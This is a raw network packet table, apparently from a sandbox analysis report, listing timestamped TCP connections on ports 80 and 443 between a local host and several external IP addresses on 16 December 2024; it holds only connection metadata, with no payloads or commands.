Dec 16, 2024 15:02:31.120657921 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.120702982 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.120798111 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.120846987 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.121543884 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.121582985 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.121612072 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.121645927 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.122431993 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.122467041 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.122528076 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.122597933 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.123449087 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.123496056 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.123496056 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.123533964 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.124269962 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.124339104 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.124391079 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.124433994 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.125123024 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.125161886 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.125185966 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.125221014 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.126034975 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.126080990 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.126081944 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.126121044 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.126909018 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.126944065 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.127027035 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.127271891 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.127743959 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.127835035 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.127873898 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.128668070 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.128715992 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.128777027 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.128815889 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.129547119 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.129592896 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.129652023 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.129743099 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.130501032 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.130547047 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.130610943 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.130650997 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.131325006 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.131369114 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.131428957 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.131469965 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.132206917 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.132250071 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.132252932 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.132289886 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.133239985 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.133297920 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.133474112 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.133508921 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.133974075 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.134017944 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.134079933 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.134109020 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.134843111 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.134903908 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.134960890 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.135031939 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.135749102 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.135871887 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.135885954 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.135904074 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.136634111 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.136673927 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.136743069 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.136779070 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.137589931 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.137636900 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.137727976 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.137809992 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.138422012 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.138503075 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.138531923 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.138564110 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.139300108 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.140204906 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.377310038 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.377367973 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.377795935 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.377835035 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.377854109 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.377870083 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.379575968 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.379626036 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497226954 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497242928 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497256041 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497267008 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497278929 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497292042 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497303009 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497313976 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497323036 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497328043 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497339964 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497349024 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497351885 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497358084 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497363091 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497375965 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497378111 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497399092 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497422934 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497595072 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497608900 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497621059 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497632980 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497642994 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497661114 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497668982 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497678041 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497679949 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497692108 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497697115 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497721910 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497741938 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497752905 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.497785091 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.497805119 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.498569965 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.498581886 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.498606920 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.498616934 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.498625040 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.498652935 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.498660088 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.498693943 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.498696089 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.498980045 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.499681950 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499695063 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499706030 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499717951 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499730110 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499741077 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499746084 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.499753952 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499764919 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499779940 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499790907 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.499799013 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.499799013 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.499824047 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.499847889 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.500475883 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500545025 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500556946 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500567913 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500581026 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500591040 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500595093 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.500602007 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500627041 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.500648975 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.500653982 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500667095 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500679016 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500684977 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.500689983 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500701904 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500701904 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.500713110 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500725031 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.500726938 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.500745058 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.500765085 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.501447916 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.501470089 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.501481056 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.501492977 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.501524925 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.501545906 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.501669884 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.501682997 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.501720905 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.502341032 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502418995 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.502429962 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502440929 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502450943 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502463102 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502474070 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502480030 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.502504110 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.502506018 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502520084 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502531052 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502542019 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.502545118 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.502563953 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.502588034 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.503217936 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503228903 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503240108 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503251076 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503262997 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503274918 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503285885 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503293037 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.503298044 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503309011 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503323078 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.503334045 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503344059 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503355026 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.503355980 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503366947 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.503369093 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.503392935 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.503415108 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.504193068 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504205942 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504211903 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504224062 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504235029 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504246950 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504256964 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504267931 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504273891 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.504280090 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504292011 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504298925 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.504303932 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504314899 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504323959 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.504328012 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.504337072 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.504370928 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.505269051 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505281925 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505294085 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505305052 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505316019 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505322933 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.505327940 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505340099 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505351067 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505353928 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.505361080 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505397081 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.505403996 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.505419016 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505431890 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505441904 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505449057 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.505456924 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.505474091 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.505496979 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506021023 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506031990 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506043911 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506055117 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506067038 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506074905 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506078005 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506089926 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506098986 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506100893 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506112099 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506129026 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506135941 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506136894 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506159067 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506181955 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506690979 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506702900 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506712914 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506724119 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506733894 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506736994 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506753922 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506757021 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506764889 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506773949 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506778002 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506795883 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506805897 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506817102 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.506817102 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506823063 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506829023 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.506890059 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.507682085 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.507694960 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.507719994 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.507720947 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.507730007 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:31.507735014 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.507751942 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.507764101 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:31.652002096 CET	443	49926	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:31.652103901 CET	443	49926	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:31.652260065 CET	49926	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:31.653449059 CET	49926	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:31.653465986 CET	443	49926	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:31.767574072 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:31.767608881 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:31.767893076 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:31.769181013 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:31.769192934 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:31.925220013 CET	49913	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:31.925698996 CET	49933	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:32.045408010 CET	80	49913	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:32.045473099 CET	80	49933	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:32.045532942 CET	49913	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:32.045572042 CET	49933	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:32.069751024 CET	49933	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:32.189567089 CET	80	49933	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:32.985161066 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:32.985259056 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:33.261982918 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:33.262013912 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:33.262480021 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:33.310985088 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:33.398821115 CET	80	49933	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:33.398880005 CET	49933	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:33.533863068 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:33.534514904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:33.654191017 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:33.654256105 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:33.654337883 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:33.654408932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:33.725455046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:33.804296970 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.804303885 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:33.804368019 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.805881977 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.805934906 CET	443	49943	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:33.805979967 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.806082010 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.806088924 CET	443	49940	172.217.21.36	192.168.2.6
